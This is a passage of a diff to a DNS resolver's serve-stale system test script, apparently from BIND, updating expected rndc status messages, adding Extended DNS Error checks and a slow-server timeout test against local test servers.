 grep "data\.example\..*2.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -918,7 +967,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache longttl.example (max-stale-ttl default) ($n)"
+echo_i "prime cache longttl.example TXT (max-stale-ttl default) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 longttl.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -927,7 +976,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache data.example (max-stale-ttl default) ($n)"
+echo_i "prime cache data.example TXT (max-stale-ttl default) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -937,7 +986,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache othertype.example (max-stale-ttl default) ($n)"
+echo_i "prime cache othertype.example CAA (max-stale-ttl default) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 othertype.example CAA > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -947,7 +996,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nodata.example (max-stale-ttl default) ($n)"
+echo_i "prime cache nodata.example TXT (max-stale-ttl default) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 nodata.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -957,7 +1006,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nxdomain.example (max-stale-ttl default) ($n)"
+echo_i "prime cache nxdomain.example TXT (max-stale-ttl default) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 nxdomain.example TXT > dig.out.test$n
 grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
@@ -996,7 +1045,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.3 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep "_default: off (stale-answer-ttl=$stale_answer_ttl max-stale-ttl=$max_stale_ttl stale-refresh-time=30)" rndc.out.test$n > /dev/null || ret=1
+grep "_default: stale cache enabled; stale answers disabled (stale-answer-ttl=$stale_answer_ttl max-stale-ttl=$max_stale_ttl stale-refresh-time=30)" rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -1006,38 +1055,42 @@ echo_i "sending queries for tests $((n+1))-$((n+4))..."
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$((n+1)) &
 $DIG -p ${PORT} @10.53.0.3 othertype.example CAA > dig.out.test$((n+2)) &
 $DIG -p ${PORT} @10.53.0.3 nodata.example TXT > dig.out.test$((n+3)) &
-$DIG -p ${PORT} @10.53.0.3 nxdomain.example TXT > dig.out.test$((n+4))
+$DIG -p ${PORT} @10.53.0.3 nxdomain.example TXT > dig.out.test$((n+4)) &
 
 wait
 
 n=$((n+1))
-echo_i "check fail of data.example (max-stale-ttl default) ($n)"
+echo_i "check fail of data.example TXT (max-stale-ttl default) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check fail of othertype.example (max-stale-ttl default) ($n)"
+echo_i "check fail of othertype.example CAA (max-stale-ttl default) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check fail of nodata.example (max-stale-ttl default) ($n)"
+echo_i "check fail of nodata.example TXT (max-stale-ttl default) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check fail of nxdomain.example (max-stale-ttl default) ($n)"
+echo_i "check fail of nxdomain.example TXT (max-stale-ttl default) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -1057,7 +1110,6 @@ grep "1 TXT" ns3/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #TXT" ns3/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #Others" ns3/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #!TXT" ns3/named.stats.$n.cachedb > /dev/null || ret=1
-grep "1 #NXDOMAIN" ns3/named.stats.$n.cachedb > /dev/null || ret=1
 
 status=$((status+ret))
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -1073,7 +1125,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.3 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep "_default: on (rndc) (stale-answer-ttl=$stale_answer_ttl max-stale-ttl=$max_stale_ttl stale-refresh-time=30)" rndc.out.test$n > /dev/null || ret=1
+grep "_default: stale cache enabled; stale answers enabled (stale-answer-ttl=$stale_answer_ttl max-stale-ttl=$max_stale_ttl stale-refresh-time=30)" rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -1082,10 +1134,11 @@ sleep 2
 # Check that if we don't have stale data for a domain name, we will
 # not answer anything until the resolver query timeout.
 n=$((n+1))
-echo_i "check notincache.example times out (max-stale-ttl default) ($n)"
+echo_i "check notincache.example TXT times out (max-stale-ttl default) ($n)"
 ret=0
-$DIG -p ${PORT} +tries=1 +timeout=3  @10.53.0.3 notfound.example TXT > dig.out.test$n 2>&1
-grep "connection timed out" dig.out.test$n > /dev/null || ret=1
+$DIG -p ${PORT} +tries=1 +timeout=3  @10.53.0.3 notfound.example TXT > dig.out.test$n 2>&1 && ret=1
+grep "timed out" dig.out.test$n > /dev/null || ret=1
+grep ";; no servers could be reached" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -1094,52 +1147,55 @@ $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$((n+1)) &
 $DIG -p ${PORT} @10.53.0.3 othertype.example CAA > dig.out.test$((n+2)) &
 $DIG -p ${PORT} @10.53.0.3 nodata.example TXT > dig.out.test$((n+3)) &
 $DIG -p ${PORT} @10.53.0.3 nxdomain.example TXT > dig.out.test$((n+4)) &
-$DIG -p ${PORT} @10.53.0.3 notfound.example TXT > dig.out.test$((n+5))
+$DIG -p ${PORT} @10.53.0.3 notfound.example TXT > dig.out.test$((n+5)) &
 
 wait
 
 n=$((n+1))
-echo_i "check data.example (max-stale-ttl default) ($n)"
+echo_i "check data.example TXT (max-stale-ttl default) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*30.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check othertype.example (max-stale-ttl default) ($n)"
+echo_i "check othertype.example CAA (max-stale-ttl default) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "example\..*30.*IN.*CAA.*0.*issue" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check nodata.example (max-stale-ttl default) ($n)"
+echo_i "check nodata.example TXT (max-stale-ttl default) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 grep "example\..*30.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check nxdomain.example (max-stale-ttl default) ($n)"
+echo_i "check nxdomain.example TXT (max-stale-ttl default) ($n)"
 ret=0
-grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
+grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
-grep "example\..*30.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 # The notfound.example check is different than nxdomain.example because
 # we didn't send a prime query to add notfound.example to the cache.
 n=$((n+1))
-echo_i "check notfound.example (max-stale-ttl default) ($n)"
+echo_i "check notfound.example TXT (max-stale-ttl default) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -1159,7 +1215,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache longttl.example (serve-stale answers disabled) ($n)"
+echo_i "prime cache longttl.example TTL (serve-stale answers disabled) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.4 longttl.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1168,7 +1224,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache data.example (serve-stale answers disabled) ($n)"
+echo_i "prime cache data.example TTL (serve-stale answers disabled) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.4 data.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1178,7 +1234,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache othertype.example (serve-stale answers disabled) ($n)"
+echo_i "prime cache othertype.example CAA (serve-stale answers disabled) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.4 othertype.example CAA > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1188,7 +1244,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nodata.example (serve-stale answers disabled) ($n)"
+echo_i "prime cache nodata.example TXT (serve-stale answers disabled) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.4 nodata.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1198,7 +1254,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nxdomain.example (serve-stale answers disabled) ($n)"
+echo_i "prime cache nxdomain.example TXT (serve-stale answers disabled) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.4 nxdomain.example TXT > dig.out.test$n
 grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
@@ -1237,7 +1293,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.4 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep "_default: off (stale-answer-ttl=$stale_answer_ttl max-stale-ttl=$max_stale_ttl stale-refresh-time=30)" rndc.out.test$n > /dev/null || ret=1
+grep "_default: stale cache enabled; stale answers disabled (stale-answer-ttl=$stale_answer_ttl max-stale-ttl=$max_stale_ttl stale-refresh-time=30)" rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -1247,38 +1303,42 @@ echo_i "sending queries for tests $((n+1))-$((n+4))..."
 $DIG -p ${PORT} @10.53.0.4 data.example TXT > dig.out.test$((n+1)) &
 $DIG -p ${PORT} @10.53.0.4 othertype.example CAA > dig.out.test$((n+2)) &
 $DIG -p ${PORT} @10.53.0.4 nodata.example TXT > dig.out.test$((n+3)) &
-$DIG -p ${PORT} @10.53.0.4 nxdomain.example TXT > dig.out.test$((n+4))
+$DIG -p ${PORT} @10.53.0.4 nxdomain.example TXT > dig.out.test$((n+4)) &
 
 wait
 
 n=$((n+1))
-echo_i "check fail of data.example (serve-stale answers disabled) ($n)"
+echo_i "check fail of data.example TXT (serve-stale answers disabled) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check fail of othertype.example (serve-stale answers disabled) ($n)"
+echo_i "check fail of othertype.example TXT (serve-stale answers disabled) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check fail of nodata.example (serve-stale answers disabled) ($n)"
+echo_i "check fail of nodata.example TXT (serve-stale answers disabled) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check fail of nxdomain.example (serve-stale answers disabled) ($n)"
+echo_i "check fail of nxdomain.example TXT (serve-stale answers disabled) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -1298,7 +1358,6 @@ grep "1 TXT" ns4/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #TXT" ns4/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #Others" ns4/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #!TXT" ns4/named.stats.$n.cachedb > /dev/null || ret=1
-grep "1 #NXDOMAIN" ns4/named.stats.$n.cachedb > /dev/null || ret=1
 status=$((status+ret))
 if [ $ret != 0 ]; then echo_i "failed"; fi
 
@@ -1311,16 +1370,16 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "stop ns4"
-$PERL ../stop.pl --use-rndc --port ${CONTROLPORT} serve-stale ns4
+stop_server --use-rndc --port ${CONTROLPORT} ns4
 
 # Load the cache as if it was five minutes (RBTDB_VIRTUAL) older. Since
 # max-stale-ttl defaults to a week, we need to adjust the date by one week and
 # five minutes.
-LASTWEEK=`TZ=UTC perl -e 'my $now = time();
+LASTWEEK=$(TZ=UTC perl -e 'my $now = time();
         my $oneWeekAgo = $now - 604800;
         my $fiveMinutesAgo = $oneWeekAgo - 300;
         my ($s, $m, $h, $d, $mo, $y) = (localtime($fiveMinutesAgo))[0, 1, 2, 3, 4, 5];
-        printf("%04d%02d%02d%02d%02d%02d", $y+1900, $mo+1, $d, $h, $m, $s);'`
+        printf("%04d%02d%02d%02d%02d%02d", $y+1900, $mo+1, $d, $h, $m, $s);')
 
 echo_i "mock the cache date to $LASTWEEK (serve-stale answers disabled) ($n)"
 ret=0
@@ -1330,7 +1389,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "start ns4"
-start_server --noclean --restart --port ${PORT} serve-stale ns4
+start_server --noclean --restart --port ${PORT} ns4
 
 n=$((n+1))
 echo_i "verify ancient cache statistics (serve-stale answers disabled) ($n)"
@@ -1364,7 +1423,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache longttl.example (serve-stale cache disabled) ($n)"
+echo_i "prime cache longttl.example TXT (serve-stale cache disabled) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.5 longttl.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1373,7 +1432,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache data.example (serve-stale cache disabled) ($n)"
+echo_i "prime cache data.example TXT (serve-stale cache disabled) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.5 data.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1383,7 +1442,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache othertype.example (serve-stale cache disabled) ($n)"
+echo_i "prime cache othertype.example CAA (serve-stale cache disabled) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.5 othertype.example CAA > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1393,7 +1452,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nodata.example (serve-stale cache disabled) ($n)"
+echo_i "prime cache nodata.example TXT (serve-stale cache disabled) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.5 nodata.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1403,7 +1462,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nxdomain.example (serve-stale cache disabled) ($n)"
+echo_i "prime cache nxdomain.example TXT (serve-stale cache disabled) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.5 nxdomain.example TXT > dig.out.test$n
 grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
@@ -1426,7 +1485,6 @@ grep -A 10 "++ Cache DB RRsets ++" ns5/named.stats.$n > ns5/named.stats.$n.cache
 grep "2 TXT" ns5/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 Others" ns5/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 !TXT" ns5/named.stats.$n.cachedb > /dev/null || ret=1
-grep "1 NXDOMAIN" ns5/named.stats.$n.cachedb > /dev/null || ret=1
 status=$((status+ret))
 if [ $ret != 0 ]; then echo_i "failed"; fi
 
@@ -1443,7 +1501,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.5 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep "_default: off (not-cached)" rndc.out.test$n > /dev/null || ret=1
+grep "_default: stale cache disabled; stale answers unavailable" rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -1453,38 +1511,42 @@ echo_i "sending queries for tests $((n+1))-$((n+4))..."
 $DIG -p ${PORT} @10.53.0.5 data.example TXT > dig.out.test$((n+1)) &
 $DIG -p ${PORT} @10.53.0.5 othertype.example CAA > dig.out.test$((n+2)) &
 $DIG -p ${PORT} @10.53.0.5 nodata.example TXT > dig.out.test$((n+3)) &
-$DIG -p ${PORT} @10.53.0.5 nxdomain.example TXT > dig.out.test$((n+4))
+$DIG -p ${PORT} @10.53.0.5 nxdomain.example TXT > dig.out.test$((n+4)) &
 
 wait
 
 n=$((n+1))
-echo_i "check fail of data.example (serve-stale cache disabled) ($n)"
+echo_i "check fail of data.example TXT (serve-stale cache disabled) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check fail of othertype.example (serve-stale cache disabled) ($n)"
+echo_i "check fail of othertype.example CAA (serve-stale cache disabled) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check fail of nodata.example (serve-stale cache disabled) ($n)"
+echo_i "check fail of nodata.example TXT (serve-stale cache disabled) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check fail of nxdomain.example (serve-stale cache disabled) ($n)"
+echo_i "check fail of nxdomain.example TXT (serve-stale cache disabled) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -1504,7 +1566,6 @@ grep -A 10 "++ Cache DB RRsets ++" ns5/named.stats.$n > ns5/named.stats.$n.cache
 grep -F "1 Others" ns5/named.stats.$n.cachedb > /dev/null || ret=1
 grep -F "2 TXT" ns5/named.stats.$n.cachedb > /dev/null || ret=1
 grep -F "1 !TXT" ns5/named.stats.$n.cachedb > /dev/null || ret=1
-grep -F "1 NXDOMAIN" ns5/named.stats.$n.cachedb > /dev/null || ret=1
 status=$((status+ret))
 if [ $ret != 0 ]; then echo_i "failed"; fi
 
@@ -1541,20 +1602,20 @@ awk '/; expired/ { x=$0; getline; print x, $0}' ns5/named_dump.db.test$n |
 awk '/; expired/ { x=$0; getline; print x, $0}' ns5/named_dump.db.test$n |
     grep "; expired since .* (awaiting cleanup) othertype\.example\." > /dev/null 2>&1 || ret=1
 # Also make sure the not expired data does not have an expired comment.
-awk '/; answer/ { x=$0; getline; print x, $0}' ns5/named_dump.db.test$n |
-    grep "; answer longttl\.example.*A text record with a 600 second ttl" > /dev/null 2>&1 || ret=1
+awk '/; authanswer/ { x=$0; getline; print x, $0}' ns5/named_dump.db.test$n |
+    grep "; authanswer longttl\.example.*A text record with a 600 second ttl" > /dev/null 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "stop ns5"
-$PERL ../stop.pl --use-rndc --port ${CONTROLPORT} serve-stale ns5
+stop_server --use-rndc --port ${CONTROLPORT} ns5
 
 # Load the cache as if it was five minutes (RBTDB_VIRTUAL) older.
 cp ns5/named_dump.db.test$n ns5/named_dump.db
-FIVEMINUTESAGO=`TZ=UTC perl -e 'my $now = time();
+FIVEMINUTESAGO=$(TZ=UTC perl -e 'my $now = time();
         my $fiveMinutesAgo = 300;
         my ($s, $m, $h, $d, $mo, $y) = (localtime($fiveMinutesAgo))[0, 1, 2, 3, 4, 5];
-        printf("%04d%02d%02d%02d%02d%02d", $y+1900, $mo+1, $d, $h, $m, $s);'`
+        printf("%04d%02d%02d%02d%02d%02d", $y+1900, $mo+1, $d, $h, $m, $s);')
 
 n=$((n+1))
 echo_i "mock the cache date to $FIVEMINUTESAGO (serve-stale cache disabled) ($n)"
@@ -1565,7 +1626,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "start ns5"
-start_server --noclean --restart --port ${PORT} serve-stale ns5
+start_server --noclean --restart --port ${PORT} ns5
 
 n=$((n+1))
 echo_i "verify ancient cache statistics (serve-stale cache disabled) ($n)"
@@ -1580,7 +1641,6 @@ grep -A 10 "++ Cache DB RRsets ++" ns5/named.stats.$n > ns5/named.stats.$n.cache
 grep -F "#TXT" ns5/named.stats.$n.cachedb > /dev/null && ret=1
 grep -F "#Others" ns5/named.stats.$n.cachedb > /dev/null && ret=1
 grep -F "#!TXT" ns5/named.stats.$n.cachedb > /dev/null && ret=1
-grep -F "#NXDOMAIN" ns5/named.stats.$n.cachedb > /dev/null && ret=1
 status=$((status+ret))
 if [ $ret != 0 ]; then echo_i "failed"; fi
 
@@ -1597,14 +1657,14 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "restart ns3"
-$PERL ../stop.pl --use-rndc --port ${CONTROLPORT} serve-stale ns3
-start_server --noclean --restart --port ${PORT} serve-stale ns3
+stop_server --use-rndc --port ${CONTROLPORT} ns3
+start_server --noclean --restart --port ${PORT} ns3
 
 n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.3 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: on (stale-answer-ttl=3 max-stale-ttl=3600 stale-refresh-time=0)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=3 max-stale-ttl=3600 stale-refresh-time=0)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -1618,7 +1678,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache data.example (stale-answer-client-timeout) ($n)"
+echo_i "prime cache data.example TXT (stale-answer-client-timeout) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 data.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1627,7 +1687,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nodata.example (stale-answer-client-timeout) ($n)"
+echo_i "prime cache nodata.example TXT (stale-answer-client-timeout) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.3 nodata.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -1635,6 +1695,24 @@ grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+n=$((n+1))
+echo_i "delay responses from authoritative server ($n)"
+ret=0
+$DIG -p ${PORT} @10.53.0.2 txt slowdown  > dig.out.test$n
+grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
+grep "TXT.\"1\"" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "prime cache data.slow TXT (stale-answer-client-timeout) ($n)"
+ret=0
+$DIG -p ${PORT} @10.53.0.3 data.slow TXT > dig.out.test$n
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
 n=$((n+1))
 echo_i "disable responses from authoritative server ($n)"
 ret=0
@@ -1649,21 +1727,23 @@ sleep 2
 
 nextpart ns3/named.run > /dev/null
 
-echo_i "sending queries for tests $((n+1))-$((n+2))..."
-t1=`$PERL -e 'print time()'`
-$DIG -p ${PORT} +tries=1 +timeout=10  @10.53.0.3 data.example TXT > dig.out.test$((n+1)) &
-$DIG -p ${PORT} +tries=1 +timeout=10  @10.53.0.3 nodata.example TXT > dig.out.test$((n+2))
+echo_i "sending queries for tests $((n+1))-$((n+3))..."
+t1=$($PERL -e 'print time()')
+$DIG -p ${PORT} +tries=1 +timeout=11  @10.53.0.3 data.example TXT > dig.out.test$((n+1)) &
+$DIG -p ${PORT} +tries=1 +timeout=11  @10.53.0.3 nodata.example TXT > dig.out.test$((n+2)) &
+$DIG -p ${PORT} +tries=1 +timeout=11  @10.53.0.3 data.slow TXT > dig.out.test$((n+3)) &
 wait
-t2=`$PERL -e 'print time()'`
+t2=$($PERL -e 'print time()')
 
 # We configured a long value of 30 seconds for resolver-query-timeout.
 # That should give us enough time to receive an stale answer from cache
 # after stale-answer-client-timeout timer of 1.8 sec triggers.
 n=$((n+1))
-echo_i "check stale data.example comes from cache (stale-answer-client-timeout 1.8) ($n)"
